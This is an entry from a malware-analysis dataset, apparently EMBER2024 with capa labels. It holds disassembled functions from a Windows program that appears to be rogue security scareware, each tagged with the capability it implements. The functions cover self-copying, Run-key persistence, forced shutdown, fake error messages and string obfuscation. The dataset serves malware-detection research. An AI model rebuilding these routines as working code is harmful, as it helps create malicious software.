joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a3e9
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x14047c18]
push ebx
push esi
mov dword [ebp - 0x18], eax
xor ebx, ebx
mov esi, 0x400
push edi
mov eax, esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ebx
call fcn.1400dcaa
push ebx
push 0x80
push 3
push ebx
push 1
push 0x1f01ff
push dword [ebp - 0x18]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x1400a4d5
push ebx
lea ecx, [ebp - 0x14]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], edi
sub dword [ebp - 0xc], 0x1403b304
mov ecx, dword [ebp - 8]
lea edx, [edi + ecx]
mov dword [ebp - 4], 0xc
mov eax, str.This_program
test edx, edx
je 0x1400a485
mov edx, dword [ebp - 0xc]
add edx, ecx
mov cl, byte [edx + eax]
cmp cl, bl
je 0x1400a480
cmp dword [ebp - 4], ebx
jbe 0x1400a483
cmp byte [eax], cl
jne 0x1400a485
inc eax
dec dword [ebp - 4]
cmp byte [eax], bl
jne 0x1400a468
cmp dword [ebp - 4], ebx
je 0x1400a493
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x3f4
jb 0x1400a44d
jmp 0x1400a4d5
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x1400a4a7
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [0x14047c50], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x14047c50]
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
add eax, 0x20
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
call fcn.1400dce4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1400a4ea
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x14047c18]
push ebx
push esi
mov esi, dword [0x14047bf8]
mov dword [ebp - 0x10], eax
push edi
mov eax, 0x400
call fcn.1400dcaa
mov dword [ebp - 8], eax
xor eax, eax
inc eax
xor ebx, ebx
push ebx
lea edi, [eax + 0x7f]
push edi
push 3
push ebx
push eax
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
call esi
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x1400a58c
push ebx
push edi
push 2
push ebx
push 2
push 2
push dword [ebp - 0x10]
call esi
mov esi, eax
jmp 0x1400a575
cmp esi, 0xffffffff
je 0x1400a57a
push ebx
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], ebx
jbe 0x1400a57a
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
ja 0x1400a543
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov al, 1
jmp 0x1400a58e
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1400a593
Capabilities:
Create directory
Extract resource via kernel32 functions
Terminate process

Disassembly:
push esi
push 0xa
push 0xc
push dword [0x14047c1c]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push dword [0x14047c1c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push dword [0x14047c1c]
mov dword [0x14047c98], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [0x14047c44], eax
pop esi
ret
push ebx
push esi
push edi
call fcn.1400a249
test al, al
je 0x1400a5ca
mov esi, dword [0x14047c84]
mov edx, dword [0x14047bf8]
mov eax, esi
call fcn.1400cf49
test al, al
jne 0x1400a5be
pop edi
pop esi
pop ebx
jmp 0x1400a3b0
push esi
call fcn.140022bb
pop ecx
call fcn.14007f2e
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push eax
push str.1_06d4
push dword [0x14047cd4]
mov esi, 0x104
mov eax, esi
call fcn.1400d70a
add esp, 0xc
call edi
add eax, 0x3e7
push eax
push str.9_06d6
push dword [0x14047bf0]
mov eax, esi
call fcn.1400d70a
add esp, 0xc
push dword [0x14047c5c]
call fcn.140080ab
mov edi, dword [0x14047c5c]
mov edx, dword [0x14047cd4]
pop ecx
mov ecx, edi
call fcn.1400ce87
mov ebx, 0x14039ce4
mov edx, ebx
mov ecx, edi
call fcn.1400ce87
push dword [0x14047c80]
call fcn.140080ab
mov edi, dword [0x14047c80]
mov edx, dword [0x14047bf0]
pop ecx
mov ecx, edi
call fcn.1400ce87
mov edx, ebx
mov ecx, edi
call fcn.1400ce87
push dword [0x14047cd4]
mov edi, str._ws_ws.exe
push dword [0x14047c5c]
mov eax, esi
push edi
push dword [0x14047c18]
call fcn.1400d70a
push dword [0x14047bf0]
mov eax, esi
push dword [0x14047c80]
push edi
push dword [0x14047cc8]
call fcn.1400d70a
add esp, 0x20
xor esi, esi
push esi
push dword [0x14047c5c]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.1400a4ea
test al, al
jne 0x1400a6ba
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400a3e9
mov ecx, dword [0x14047c18]
call fcn.1400104d
call fcn.1401d9b1
push 0x10
push str.Crytical_Error__
push str.Unable_to_find_resource_for_winlogon.exe_nResource_ID_is_0x40001213
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [0x14047c18]
call fcn.140022bb
mov dword [esp], 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0xffffffffffffffff
push esi
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x1400a5c5
Function at 0x1400af28
Capabilities:
Encode data using xor

Disassembly:
push esi
call fcn.1400ceb1
xor edx, edx
xor esi, esi
test eax, eax
jle 0x1400af50
push edi
movzx edi, word [ecx + esi*2]
add edi, edx
imul edi, edi, 0x401
mov edx, edi
shr edi, 6
xor edx, edi
inc esi
cmp esi, eax
jl 0x1400af37
pop edi
imul edx, edx, 9
mov eax, edx
shr eax, 0xb
xor eax, edx
imul eax, eax, 0x8001
pop esi
ret
Function at 0x1400b417
Capabilities:
Create directory
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
mov eax, dword [ebp + 0x3b0]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x1400b5b6
push edi
lea eax, [ebp - 0x78]
push eax
push 2
xor edi, edi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x1400b5b5
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x78]
test eax, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
jne 0x1400b490
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1400b5b5
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, str._Tztufn_Tfdvsjuz
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.1400ce87
push edi
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x1400b5b5
lea eax, [ebp - 0x70]
push eax
push 0x14037510
push 1
push edi
push 0x14037520
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1400b5af
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov ecx, esi
call fcn.1400cf17
test eax, eax
je 0x1400b53f
push 0x104
lea eax, [ebp + 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, str._ahui.exe
lea ecx, [ebp + 0x19c]
call fcn.1400ce87
push edi
lea edx, [ebp + 0x19c]
push edx
jmp 0x1400b541
push edi
push esi
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
lea edx, [ebp - 0x7c]
push edx
push 0x14037530
push eax
call dword [ecx]
test eax, eax
jl 0x1400b5a6
lea ecx, [ebp - 0x6c]
lea edx, [ebp + 0x19c]
call fcn.1400cecd
mov edx, 0x14039ce4
lea ecx, [ebp + 0x19c]
call fcn.1400ce87
mov edx, dword [ebp - 0x80]
lea ecx, [ebp + 0x19c]
call fcn.1400ce87
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push 1
lea edx, [ebp + 0x19c]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov ecx, dword [ebp + 0x3a4]
xor ecx, ebp
call fcn.140206a2
add ebp, 0x3a8
leave
ret
Function at 0x1400b5cb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [0x14047cd4]
lea eax, [ebp - 0x210]
push dword [0x14047c10]
mov edi, 0x104
push str._wspc_wsreg
push eax
mov eax, edi
call fcn.1400d70a
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400b61d
mov al, 1
jmp 0x1400b66b
push dword [0x14047cd4]
lea eax, [ebp - 0x210]
push str.pc_wsreg
push eax
mov eax, edi
call fcn.1400d70a
add esp, 0xc
lea esi, [ebp - 0x210]
call fcn.1401d2ba
or eax, edx
jne 0x1400b619
push dword [0x14047cd4]
mov eax, esi
push str.syssec
push eax
mov eax, edi
call fcn.1400d70a
add esp, 0xc
call fcn.1401d2ba
or eax, edx
jne 0x1400b619
xor al, al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.140206a2
leave
ret

Function at 0x1400c065
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x268], eax
xor esi, esi
cmp esi, 0x260
jge 0x1400c19e
mov eax, dword [0x14047c44]
push 0x4c
pop edx
add eax, esi
push edx
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.1400dc82
add esp, 0xc
cmp word [ebp - 0x264], di
je 0x1400c19e
lea eax, [ebp - 0x264]
mov cl, 0xde
xor byte [eax], cl
inc eax
dec edx
inc cl
cmp cl, 0xee
jne 0x1400c0d1
add cl, 0xf0
cmp edx, edi
ja 0x1400c0c3
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.14021772
lea eax, [ebp - 0x214]
push eax
call fcn.14021758
add esp, 0xc
test eax, eax
je 0x1400c19e
push dword [ebp - 0x268]
lea eax, [ebp - 0x214]
push eax
call fcn.14020849
pop ecx
pop ecx
test eax, eax
je 0x1400c11f
add esi, 0x4c
jmp 0x1400c087
mov eax, dword [ebp - 0x224]
call fcn.1400dcaa
mov esi, eax
cmp esi, edi
je 0x1400c166
push dword [ebp - 0x224]
mov eax, dword [ebp - 0x220]
mov ecx, dword [0x14047c44]
add ecx, eax
push ecx
push esi
call fcn.1400dc82
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x224]
push esi
call fcn.1401ad38
add esp, 0xc
mov edi, esi
test edi, edi
je 0x1400c196
mov esi, dword [ebx + 4]
test esi, esi
je 0x1400c176
call fcn.1400afa3
push dword [ebp - 0x224]
and dword [ebx + 4], 0
mov ecx, edi
call fcn.1400c545
mov dword [ebx + 4], eax
pop ecx
mov eax, edi
call fcn.1400dce4
mov al, 1
jmp 0x1400c1a0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor al, al
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.140206a2
leave
ret 4
Function at 0x140102c8
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30011
push 0x16
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
leave
ret
Function at 0x14011383
Capabilities:
Create thread
Resume thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
xor ebx, ebx
cmp dword [ebp + 0x10], 0xc
push edi
mov edi, ecx
jne 0x140113dd
call fcn.1400b5cb
test al, al
jne 0x140113bd
push dword [0x14047be0]
call fcn.1401e5fe
mov ecx, dword [0x14047ccc]
mov eax, dword [ecx]
call dword [eax + 8]
jmp 0x140115ba
lea eax, [esp + 0x24]
push eax
push 4
push edi
push 0x14010323
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [ebp + 0x10], 0xb
jne 0x14011510
push 0x54
lea eax, [esp + 0x30]
push ebx
push eax
mov dword [esp + 0x34], ebx
call fcn.140209d0
mov esi, 0x104
add esp, 0xc
mov eax, esi
call fcn.1400dcd5
mov edx, eax
mov ecx, str.report.txt
mov dword [esp + 0x1c], edx
call fcn.1400cecd
mov eax, dword [edi + 0x50]
mov dword [esp + 0x2c], eax
mov eax, dword [edi + 0x28]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x2c], 0x58
mov dword [esp + 0x38], str.All_Files
mov dword [esp + 0x5c], str.Save_Report
mov dword [esp + 0x4c], esi
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
test eax, eax
je 0x14011507
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [esp + 0x5c]
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
mov eax, 0x400
call fcn.1400dcd5
cmp dword [0x14048014], ebx
mov dword [esp + 0x14], eax
jle 0x140114f4
mov esi, 0x140466b0
push dword [esi + 4]
mov eax, dword [esi - 8]
push dword [esi]
push dword [esi - 4]
push dword [eax*4 + 0x14046684]
mov eax, 0x3ff
push str._ws_t_ws_t_ws_t_ws_r_n
push dword [esp + 0x28]
call fcn.1400d70a
mov ecx, dword [esp + 0x2c]
add esp, 0x18
call fcn.1400ceb1
push ebx
lea edx, [esp + 0x24]
push edx
add eax, eax
push eax
push ecx
push dword [esp + 0x28]
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add esi, 0x10
cmp eax, dword [0x14048014]
jl 0x14011498
mov eax, dword [esp + 0x14]
call fcn.1400dce4
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
call fcn.1400dce4
cmp dword [ebp + 0x10], 0xa
jne 0x140115ba
mov ecx, str.SystemScan
call fcn.1400cb0b
cmp byte [0x1404841c], bl
jne 0x14011584
push str.Stop
call fcn.1400cc16
mov esi, dword [edi + 0x150]
push eax
call fcn.1401e488
mov eax, dword [edi + 0x154]
xor cl, cl
call fcn.1401e5ea
mov eax, dword [edi + 0x158]
xor cl, cl
call fcn.1401e5ea
lea eax, [esp + 0x20]
push eax
push 4
push edi
push 0x14010505
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [edi + 0x124], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140115ba
push str.Start
call fcn.1400cc16
mov esi, dword [edi + 0x150]
push eax
call fcn.1401e488
mov eax, dword [edi + 0x154]
mov cl, 1
call fcn.1401e5ea
mov eax, dword [edi + 0x158]
mov cl, 1
call fcn.1401e5ea
mov byte [0x1404841c], bl
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x140169ec
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push edi
push 0
push 0
push 0xe
push dword [esi + 0x50]
call ebx
mov edi, eax
test edi, edi
jle 0x14016a26
mov eax, dword [esi + 0x30]
inc edi
call fcn.1400dce4
mov eax, edi
call fcn.1400dcd5
push eax
push edi
push 0xd
push dword [esi + 0x50]
mov dword [esi + 0x30], eax
call ebx
mov eax, dword [esi + 0x30]
jmp 0x14016a28
xor eax, eax
pop edi
pop ebx
ret
Function at 0x14018566
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x1401858f
push dword [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 0xc

Function at 0x1401a277
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x94], eax
push ebx
push edi
lea eax, [esi + 8]
push 0x3bc
push eax
mov dword [0x140484b8], esi
call fcn.1400dc5f
xor ebx, ebx
push 0x110
xor edi, edi
inc edi
lea eax, [ebp - 0x7c]
push ebx
push eax
mov dword [esi + 0x3d0], ebx
mov dword [esi + 0x3d4], edi
mov dword [esi + 0x3d8], edi
mov dword [esi + 0x410], ebx
mov dword [esi + 0x414], edi
mov dword [esi + 0x3dc], ebx
mov dword [esi + 0x3f8], ebx
mov dword [esi + 0x40c], ebx
mov dword [esi + 0x3cc], ebx
mov dword [esi + 0x418], ebx
mov dword [ebp - 0x80], 0x114
call fcn.140209d0
add esp, 0x14
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x70], 2
jne 0x1401a318
cmp dword [ebp - 0x7c], 5
jae 0x1401a31a
xor edi, edi
mov ecx, dword [ebp + 0x94]
mov dword [esi + 0x3e0], edi
pop edi
xor ecx, ebp
pop ebx
call fcn.140206a2
add ebp, 0x98
leave
ret

Function at 0x1401ab04
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push edi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov edi, eax
test edi, edi
je 0x1401ab35
push esi
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
push esi
push 0x1401aa5d
push edi
call dword [sym.imp.USER32.dll_EnumChildWindows]
jmp 0x1401abb2
lea eax, [ebp - 0x24]
push eax
push 5
mov dword [ebp - 0x24], 0x24
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x1401ab92
mov eax, dword [ebp - 0x18]
sub eax, 0
je 0x1401ab76
dec eax
je 0x1401ab5d
dec eax
je 0x1401ab76
dec eax
jne 0x1401abb2
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0xc]
lea ecx, [eax - 0x64]
mov dword [esi], ecx
add eax, 0xfffffff0
jmp 0x1401ab8d
mov eax, dword [ebp - 8]
lea ecx, [eax - 0x64]
add eax, 0xfffffff0
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 4], ecx
mov dword [esi + 8], eax
jmp 0x1401abb2
push 0
push esi
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esi + 8]
sub eax, 0x96
mov dword [esi], eax
mov eax, dword [esi + 0xc]
sub eax, 0x1e
mov dword [esi + 4], eax
pop edi
leave
ret

Function at 0x1401ae7c
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1403fa84
push dword [esp + 0xc]
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1401af01
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push dword [ebp + 8]
xor esi, esi
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
je 0x1401b073
mov ecx, dword [0x14047b9c]
push edi
push 0x103
add ecx, 0xf20
push ecx
push esi
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov eax, dword [0x14047b9c]
push esi
add eax, 0xf20
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 4], eax
call fcn.1400dcaa
mov edi, eax
mov eax, dword [0x14047b9c]
push edi
push dword [ebp - 4]
add eax, 0xf20
push esi
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x1401afc7
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0x14039ce4
push edi
call sub.VERSION.dll_VerQueryValueW
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x14]
push ecx
movzx ecx, word [eax + 0x16]
push ecx
movzx ecx, word [eax + 0x10]
push ecx
movzx ecx, word [eax + 0x12]
push ecx
movzx ecx, word [eax + 0xc]
push ecx
movzx ecx, word [eax + 0xe]
push ecx
movzx ecx, word [eax + 8]
movzx eax, word [eax + 0xa]
push ecx
push eax
mov eax, dword [0x14047b9c]
add eax, 0x1128
push str.File_Version:__d._d._d._d_Product_Version:__d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x28
jmp 0x1401afdf
mov eax, dword [0x14047b9c]
add eax, 0x1128
push str.File_Version:_Unknown_Product_Version:_Unknown
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
pop ecx
pop ecx
mov eax, edi
call fcn.1400dce4
mov eax, dword [ebp + 0xc]
dec eax
pop edi
je 0x1401b04d
dec eax
je 0x1401b030
dec eax
je 0x1401b013
dec eax
jne 0x1401b073
mov esi, dword [0x14047b9c]
lea edx, [esi + 0xb10]
mov ecx, str.Internet_Explorer_Internet_Browser
call fcn.1400cecd
mov ecx, str.Microsoft_Corporation._All_Rights_Reserved.
jmp 0x1401b068
mov esi, dword [0x14047b9c]
lea edx, [esi + 0xb10]
mov ecx, str.FireFox_Internet_Browser
call fcn.1400cecd
mov ecx, str.Firefox_and_Mozilla_Developers__license_GPL.
jmp 0x1401b068
mov esi, dword [0x14047b9c]
lea edx, [esi + 0xb10]
mov ecx, str.Chrome_Internet_Browser
call fcn.1400cecd
mov ecx, str.Copyright__C__2006_2008_Google_Inc._All_Rights_Reserved.
jmp 0x1401b068
mov esi, dword [0x14047b9c]
lea edx, [esi + 0xb10]
mov ecx, str.Opera_Internet_Browser
call fcn.1400cecd
mov ecx, str.Copyright_Opera_Software_1995_2008
lea edx, [esi + 0xd18]
call fcn.1400cecd
mov al, 1
pop esi
leave
ret
Function at 0x1401bbaa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push dword [ebp + 0xc]
call fcn.1401bad3
pop ecx
mov esi, eax
push dword [esi + 0x14]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x1401bca5
push ebx
push esi
push eax
movzx eax, word [esi + 8]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
je 0x1401bca5
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1401bca5
mov ecx, 0x4d42
mov word [ebp - 0x1c], cx
mov edx, dword [esi]
mov ecx, dword [esi + 0x20]
lea ecx, [edx + ecx*4]
mov edx, dword [esi + 0x14]
lea ecx, [ecx + edx + 0xe]
mov dword [ebp - 0x1a], ecx
xor ecx, ecx
mov word [ebp - 0x16], cx
mov word [ebp - 0x14], cx
mov ecx, dword [esi + 0x20]
mov edx, dword [esi]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [edx + ecx*4 + 0xe]
push ebx
mov dword [ebp - 0x12], ecx
lea ecx, [ebp - 8]
push ecx
push 0xe
lea ecx, [ebp - 0x1c]
push ecx
push eax
call edi
test eax, eax
je 0x1401bca4
push ebx
lea eax, [ebp - 8]
push eax
mov eax, dword [esi + 0x20]
lea eax, [eax*4 + 0x28]
push eax
push esi
push dword [ebp - 4]
call edi
test eax, eax
je 0x1401bca4
mov esi, dword [esi + 0x14]
push ebx
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp - 0xc]
push dword [ebp - 4]
call edi
test eax, eax
je 0x1401bca4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1401bca4
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1401ce5b
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [0x14047bf8]
push esi
call fcn.1400ceb1
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
add esi, esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1401cec6
cmp byte [ebp + 8], al
je 0x1401ceae
push esi
push dword [0x14047bf8]
push 1
push eax
push dword [0x14047cd4]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x1401cebd
push dword [0x14047cd4]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret